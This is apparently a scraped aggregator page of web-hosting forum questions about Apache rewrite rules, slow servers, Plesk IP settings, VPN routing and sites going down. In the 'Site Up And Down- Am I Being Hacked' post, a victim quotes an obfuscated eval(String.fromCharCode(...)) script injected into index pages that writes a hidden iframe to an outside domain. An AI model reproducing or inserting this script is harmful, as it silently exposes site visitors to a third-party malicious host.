RewriteRule Slows Down Whole Site

Dec 13, 2007

I came up with a rule that gives translates the following:

www.example.com/home/HomeSubPage/
to
www.example.com/index.php?var=home/HomeSubPage/

Now, this works - if I echo out the var GET variable, I get
home/HomeSubPage/

But when I was just testing on a simple file it worked fine for about 90% of the time, and the other 10% it got stuck and kept firefox in loading mode ( i had to restart apache to get to run again)

But it really really slows down the web site I am applying this to 100% of the time. The html isnt rendered in the browser, but if I hit view source, it shows me all the source...and its still says its loading. I have to wait about 2 minutes before the html is rendered.

In the code below, I commented out the second last line, that will translate

www.example.com/home.html
to
www.example.com/index.php?var=home

now THAT works flawlessly 100% of the time, so that confirms that the problem is probably in my RewriteRule and not the web site.

I have the following in my .htaccess file:

Code:
Options
RewriteEngine on

RewriteCond %{REQUEST_URI} !-d
RewriteCond %{REQUEST_URI} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f

#RewriteRule ^([-a-zA-Z0-9/]+).html$ index.php?var=$1 [L]
RewriteRule ^((([-a-zA-Z0-9]+)/?)+)/?$ /index.php?var=$1 [L]

View 4 Replies


ADVERTISEMENT

Server Slows Down

Nov 14, 2007

The sites on my server gets slowed down from afternoon..

The no of users online during the day time and the rest of the day are almost the same but from afternoon the server becomes very slow..

The prob is not in sql as non sql sites are also loading slowly..

The server loads is generally around 1 - 2

When i did /usr/sbin/httpd status its shows 0 idea server and 150 active, is it something related to it..

View 9 Replies View Related

Server Slows Down Fast

Jun 6, 2009

The server I have running has LAMP and some other related services running. It's on a 100Mbit shared port. Whenever the server has been running for 30-90mins, the pings start to become very high (+2000ms). Problem exists with ftp, ssh, http etc, and restarting named, httpd, mysqld doesn't affect anything. The only thing that gets the pings back down and the speeds up again is to reboot the system, which takes about a minute. The MRTG graphs show that there isn't any significant traffic which cause the pings go down, in fact, the traffic goes close to 0 when the pings start sky rocketing. CPU load is < 0.1 and memory usage low as well.

View 9 Replies View Related

Htaccess RewriteRule

Mar 17, 2007

I am setting a new site, right now using:

Code:
RewriteRule ^([0-9]+)-(.*)$ /dir1/file.php?x=$1&y=$2 [QSA,L]
So the address [url]is in access as [url]

Is it possible to somehow remove "-" in rewrite code, as the first variable is always 4 digits?

View 4 Replies View Related

RewriteRule: Remove Www From All Url

Apr 19, 2007

on my server I'm trying to remove 'www' from all subdomain urls.

For example:
[url]-> should be -> [url]
[url]-> [url]...

what rewrite rules to use?

I suppose I've to put this rule in httpd.conf and apply it at Server level.

I'm using this

RewriteEngine on
RewriteCond %{HTTP_HOST} ^www.([^.]+).example.com
RewriteRule (.*) [url]

where %1 is one subdomain.
The problem is I want this to work on ALL Subdomains.

What rewrite rule should I use?

View 8 Replies View Related

Apache RewriteRule Convert To Lighttpd

Dec 31, 2007

at Lighttpd, and after trying for 2 hours to convert/rewrite apache's rewriterule into Lighttpd format, I became extremely confused.

Here's what I have in apache's rewriterule:

Code:
RewriteCond %{IS_SUBREQ} ^false [NC]
RewriteCond %{HTTP:Authorization} ^basic [NC]
RewriteCond /root/to/a/folder/%{REMOTE_USER} -f
RewriteRule (.*) http://www.domain.com/your_username_is_blocked.html

View 1 Replies View Related

Apache :: RewriteRule Webroot To File-system Path

Dec 12, 2013

Two projects:

proj: site.loc
proj2.0: newsite.loc

They are located in different places on the file system. And i need to redirect from one project to another internally, so url for site.loc is preserved.

E.g. requesting site.loc/hey/there i need apache to serve files form proj2.0.

First, i know that on the .htaccess level we cannot use RewriteRule to file-system path (for security reasons).

Okay, an Alias is a workaround. Say I add an Alias to virtual host as following:

Code: Alias /newsite /some/path/to/proj2.0

Then if i'll add the rule to proj's .htaccess:

Code: RewriteRule ^hey/there /newsite

This will work.

But, the webroot does not work:

Code: RewriteRule ^$ /newsite

Is it i'm doing something wrong or there is some quirk about the webroot?

View 6 Replies View Related

Static Routes With Linux & Shorewall (site To Site VPN Virtual Private Network)

Mar 29, 2009

Attached is a (badly) drawn diagram of two sites, connected by a vpn.

The site to the left, is network 10.0.0.0/24 which runs a linux server as the router for the network.

The site to the right, is network 10.1.0.0/24 which runs a windows 2003 server as the router for the network.

Now, my problem is, the clients behind the windows 2003 server can ping any machine on the first network because i setup a static route to route all traffic to 10.0.0.0/24 over the vpn interface.

now, my problem is, only the linux server can ping any machine on the windows 2003 network, any client behind the linux server cant seem to route over the interface.

I have the following route on the linux server: .....

View 0 Replies View Related

Plesk Automation :: Adding Dedicated IP Breaks Site (visitors Land On Default Site)

Apr 14, 2015

Starting point: a working site using a shared IPv4, dedicated IPv6, and SSL. HTTP and HTTPS work, the latter only using SNI of course.

The good news: If I simply allocate an IP resource of 1 to a subscription it is pulled from the pool, assigned to the service node, assigned to the web site, DNS is updated, and the site is automatically changed to using a Dedicated IPv4 and Dedicated IPv6.

The bad news: visitors land on the default web site of the service node, with the default SSL certificate.

Other info: I can't ping the new IP, even though it shows in "ip a l" and /etc/sysconfig/network-scripts/ifcfg-eth0:0. [edited]

After the IP assignment, it is still installed, and /etc/httpd/conf/plesk.conf.d/ip_default/domainname.conf shows the new certificate is being used.

However, a second set of VirtualHost entries is created in server.conf for this IP for ports 80 and 443, with NameVirtualHost enabled on the new IP. The port 443 entry uses the default certificate. Apache's setup this default VirtualHost entry will override the web site configuration because Apache is listening on port 443 with the wrong cert.

If I go to "Change webspace settings" and toggle to Shared IPv4, Dedicated IPv6 the site works again via HTTPS, and Dedicated IPv4 and Dedicated IPv6 breaks it again. Setting the SSL cert to None and back again does not work.

Setting the SSL cert to None, changing to a dedicated IP, and enabling SSL results in the server being inexplicably inaccessible...browsers no longer connect to either the default site or the correct site, and I don't see any entries in the vhosts's logs.

View 6 Replies View Related

Is There Anyone Knows For A Good Hosting,which Is Allowed : Adult Site & Casino Site?

May 21, 2008

is there anyone knows for a good hosting located in uk,which is allowed : adult site and casino betting online site ?

im looking for vps and dedicated server.

please help me i really need as soon as possible.thx

View 2 Replies View Related

How Effective Can Be Lighttpd 4 My Site ( Forum + Filesharing Site )

Jun 16, 2008

I run basicly run two main site.

1.Forum big one .

2.File and image sharing site.

(image sharing site generates thumbnails which produces lots of hits)

In these conditions how much difference can lighttpd can do as compared to apache for keeping my 600 MB Ram VPS host constant.

View 5 Replies View Related

Database Site Vs Comany Site

Jun 29, 2009

I'm on a short assignment to inventory and manage the fixed assets of a small company, and we've just bought a web-based database for this purpose. While I'm pretty good at administering/running local databases, the web part has me stymied. Our company is between IT people, and there's no one on site with any more idea than I have about what's going on!!

Here's what I have so far:

--The company has a website which I'll call "ourwebsite.org" -- which I think, from searching the IP address the website points to, is hosted by HostMySite.com.

--There's also a record in DNS Management with the same name (ourwebsite.org), but pointing to our little server's local IP address.

--I need to find a way to get my database -- which I can access on the network at (server's IP address)/database (ie 0.0.00.0/database) -- online. I tried creating records in DNS Management (for ex., assets.ourwebsite.org) that point to our server's IP (the one that, if I type it in on the network, I can get to the site I'm looking for), but get generic "can't find the page" or "can't connect to the server" errors, even after 72 hours, when trying to access it from off the network.

--If I browse to assets.ourwebsite.org/database on the server itself, I get to the website! But if I go to that page from any other computer, on or off the network, it doesn't work.

--The Server is running Windows Server 2003

So, what are my options? Do I have to talk to the HostMySite.com people to add this page? Shouldn't I just be able to use my server's name (ourcompanyadc.ourcompany.org) and have that route to the server? What's going on here! Is there a simple way to get a tiny local-server-hosted website online outside of the network?

View 2 Replies View Related

Site Shows Another's Site After Transfer

Jan 9, 2008

I just transferred a domain from one cpanel box to another.

Now, that site is showing someone else's page. I've seen this happen before, but I cannot remember the fix.

the virtual host in httpd.conf is fine, shows proper IP, username, docroot, etc

Dns zone is fine as well.

The domain is using the server's main IP, so that's not the cause.

Centos 5 / cpanel 11 / apache 1.3 / php 4x

View 4 Replies View Related

Is It Possible To Relay A Site From My Site?

Aug 28, 2006

is possible to relay a site (say abc.com) from my site (xyz.com), where a viewer should be able to see the site (abc.com) through my site's IP.

View 4 Replies View Related

What If You Can't FTP Into A Site?

Nov 7, 2006

i've got a client who gave me their PW and ID to log into their servers. But for whatever reason, i can't seem to login despite them giving me the right PW and ID.

I want to know if there are other possible reasons for not being able to login via my FTP client [which is filezilla]?

View 4 Replies View Related

Is This Too Much CPU/MEM For One Site

Jun 2, 2008

I found the CPU/MEM/MySQL usage in cPanel (how have I missed it before and when talking with my host (fully managed Liquideb VPS2 768MB RAM 1024 Burst (though it reads it as that I think). Anyways it seems my friends sites are using allot of CPU and RAM. See attached screenshot. He is paying for shared hosting but I was stupid to give him unlimited sites but 1GB space 10GB bandwidth. Am I over reacting, or his his $16/month or 1% of available space (based on 95GB for paying sites) is he using too much?

Here's the screenshot. He is FIshbon, Empower, and rhea and both sites are drupal (along with 2 of my sites one being macwrite and the other personal).

View 5 Replies View Related

For Mp3 Site

Aug 19, 2008

I knw that it is not legal to provide mp3 files for downloads.But still there are thousands of sites which are offering free mp3 downloads.How they are managing it?Are their servers in a country where it is legal.If so,Which country's servers are best for these kind of sites?

View 6 Replies View Related

Site Down Another Not

Jun 22, 2008

My site host in Dreamhost.

why Adulu.com down but Adolu.com not.

check it out

View 5 Replies View Related

Site Down For Some, And Not For Others

Apr 3, 2007

I'm getting emails that my site is down and does not load. But it's working find for others. 1 person is in Vancouver, and the other in Ontario.

View 4 Replies View Related

My Site Is Down Again

Feb 6, 2007

I got this in my email cpsrvd failed @ Tue Feb 6 08:33:22 2007. A restart was attempted automagicly.

I checked that all of my sites that are using php program doesn't work. Genetips.com doesn't work.

So I restarted the server.

Now, the site "work" but they cannot access database.

Accessing genetips.com will show that databases cannot be accessed.

View 5 Replies View Related

Site Rip [url]

May 17, 2007

These guys ripped our entire site - if they will do that, imagine what they will do to you if you sign up with them.

Ridiculous.

[url]

These guys are unbelievable they didn't even comment out our name or address, shocking.

View 14 Replies View Related

Where To Put This Site

May 31, 2007

I am doing a site for a local charity. I have decided to create it with the Joomla! CMS. Now, currently the old site (frontpage) is hosted on a Zeus system (whatever that is!).

Does anyone know about this type of host and if its compatible?

I have Joomla hosted locally at the moment to start development but have no idea if its going to work or what configuration will need to be done when I try to port it over.

The only thing they have told me is that I will have to destroy the old site to get the new one up and running (because of Frontpage settings).

View 4 Replies View Related

SITE WAS HACKED!

Jul 27, 2008

A client's site was hacked last week and spyware or some kind of trojan was put on it. I found some files that didn't belong in the images folder and proceeded to delete them, however, when I submitted the site back to Google for review, the report came back saying there was still malware on the site. They didn't provide me with the location of the spyware, so what can I do to find it and delete it?

View 6 Replies View Related

My Site Has Been Hacked

Oct 1, 2007

One of my clients has just sent me a bounced email to an address she had never heard of. This made me suspect my server had been hacked and was being used for a scam.

Sure enough, I found a file in one of my folders, that was related to a Bank of America scam.

I have since put a password on this folder. But does anyone have any advice on how to secure the site to prevent this happening again? It is a shopping cart and the 'rogue' file was in the admin area of the shopping cart.

View 10 Replies View Related

SSL On Normal Site ?

Jan 2, 2008

I had a client ask me earlier if there was any downsides to having his main site be SSL only ,not his billing his actual site.

For exmaple it would be https://www.yoursite.com rather than the normal http and having that redirect to the https.

Obviously he would need all his images being linked to https in order for it to be secure but apart from that, I couldn't think of any of the top of my head, I was wondering what you guys all thought.

View 3 Replies View Related

Best Web Site Hosting For ASP.NET 2.0 & SQL

Dec 18, 2006

As somebody who has bought the 'Build Your Own ASP.NET 2.0 Web Site Using C# & VB' by CRISTIAN DARIE and ZAK RUVALCABA, I wonder what Hosting deals are considered the best and most user friendly (robust and support).

By this I mean, the most competitive for users like me who are just learning the technology and maybe want to set up some basic book examples online using SQL 2005.

View 0 Replies View Related

My Site Cannot Run Php Files

Jun 2, 2009

my site cannot run php files

move from server 1 to server 2

another site no ploblem move from server 1 to server 2 too

What ploblem i need fix this

here my site

[url]

View 5 Replies View Related

Site Up And Down- Am I Being Hacked

Jun 22, 2009

My site keeps going down every 10 minutes. It'll be online for 10 minutes, than down for another 10 minutes. It's been happening for like the past 3-4 hours. I can log into WHM without any problems, but the site itself site keeps crashing!

And last week somehow I found the code in all my index and home pages. Not any of my other pages like food.html or sleep.php, just the index.php and home.html type of pages.

Quote:

<script type="text/javascript" src="swfobject.js"></script>

<body><script type="text/javascript">eval(String.fromCharCode(118,97,114,32,106,104,113,119,61,49,50,51,49,49,49,51,43,50,53,59,118,97,114,32,103,104,103,52,53,61,34,107,97,11 4,34,59,118,97,114,32,119,61,34,108,97,115,116,34,59,118,97,114,32,114,101,54,61,34,46,34,59,118,97,114,32,104,50,104,61,34,99,111,109,34,59,118,97,11 4,32,97,61,34,105,102,114,34,59,118,97,114,32,115,61,34,104,116,116,34,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,39,43,97,43,3 9,97,109,101,32,115,114,39,43,39,99,61,34,39,43,115,43,39,112,58,47,47,39,43,103,104,103,52,53,43,39,39,43,119,43,39,39,43,114,101,54,43,39,39,43,104, 50,104,43,39,47,39,43,39,34,32,119,105,100,39,43,39,116,104,61,34,49,34,32,104,39,43,39,101,105,103,104,116,61,34,51,34,62,60,47,105,102,39,43,39,114, 39,43,39,97,109,101,62,39,41,59,32,102,117,110,99,116,105,111,110,32,103,103,54,51,52,53,40,41,123,118,97,114,32,97,115,51,49,49,51,61,57,43,55,53,52, 52,59,125,32,118,97,114,32,109,110,98,113,61,52,51,48,52,49,56,50,52))</script>
</body>
</html>

What the heck is going on?

View 12 Replies View Related

Web Site On The Fqdn Url

May 27, 2009

Is there any pro`s / cons about setting up a site (1 page/ image)on the url of the server fqdn.

What`s best practise, does it even matter?

ie.

[url]
[url]

I dont particularly require a site on the url and www.mydomain.com 404`s at present.

View 2 Replies View Related

Registration Site - What Do I Need

Oct 5, 2009

I am building a Web Registration System so people can register to attend seminars that I will be giving.

What basic web-hosting functionality and features will I need when I get a web-hosting account?

(I plan on using PHP and MySQL, so that is a given!)

Questions:

1.) For starters, can I safely host my site on a "Shared" server?

2.) I assume I'll need to buy a Static IP Address, right?

3.) And probably a Security Certificate as well for the Registration part?

4.) Anything else obvious?

View 11 Replies View Related

Site Cluster

May 2, 2009

What is the best way to make sure my website is 100% available all the time.

View 3 Replies View Related







Copyrights 2005-15 www.BigResource.com, All rights reserved